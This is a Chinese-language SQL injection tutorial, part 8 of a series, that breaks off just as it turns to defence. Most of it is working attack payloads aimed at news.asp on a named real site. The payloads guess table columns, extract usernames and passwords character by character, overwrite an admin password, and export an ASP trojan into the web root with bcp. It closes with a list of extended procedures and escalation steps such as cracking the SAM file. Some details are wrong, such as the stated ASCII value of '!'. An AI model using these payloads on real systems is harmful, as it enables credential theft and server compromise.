SQL注入漏洞的攻防策略(8)
猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,
user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断
HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0
“select count(字段名) from 表名”
语句得到表的行数,所以若字段名存在,则news.asp工作正常,否则异常。如此循环,直到猜到两个
字段的名称。
读取法:基本的实现方法是
HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from
TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知
表名的第一个字段名,当与整数进行比较,显然news.asp工作异常,但在异常中却可以发现字段的名称。
把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
d 猜解用户名与密码
猜用户名与密码的内容最常用也是最有效的方法有:
ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然
后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from
TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username
为用户名字段的名称,admin为表的名称),若x为某一值i且news.asp运行正常时,则i就是第一个用
户名的长度。如:当输入
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时
news.asp运行正常,则第一个用户名的长度为8
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from
TestDB.dbo.admin)=n
(m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是
1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i
且news.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from
TestDB.dbo.admin)=80时news.asp运行正常,则用户名的第三位为P(P的ASCII为80);HTTP://www.163.co
m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33
时news.asp运行正常,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及密码后,同理,可以猜
出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具
进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP://www.163.com
/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,
flag是admin表中的一个字段,username是用户名字段,此时news.asp工作异常,但能得到Username的值
。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。
猜用户密码:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from
TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时news.asp工作
异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到
表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。
HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'
where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)用
同样的方法当然可把密码改原来的值。
2、利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张
临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa
–P foobar
('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个163.asp的木马)
3、利用工具,如NBSI给出的一些参考数据最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID
(三)、得到系统的管理员权限
ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限
的方法有很多种:
上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);
复制CMD.exe到scripts,人为制造UNICODE漏洞;
下载SAM文件,破解并获取OS的所有用户名密码;
等等,视系统的具体情况而定,可以采取不同的方法。
那么我们怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如
top.asp文件中开头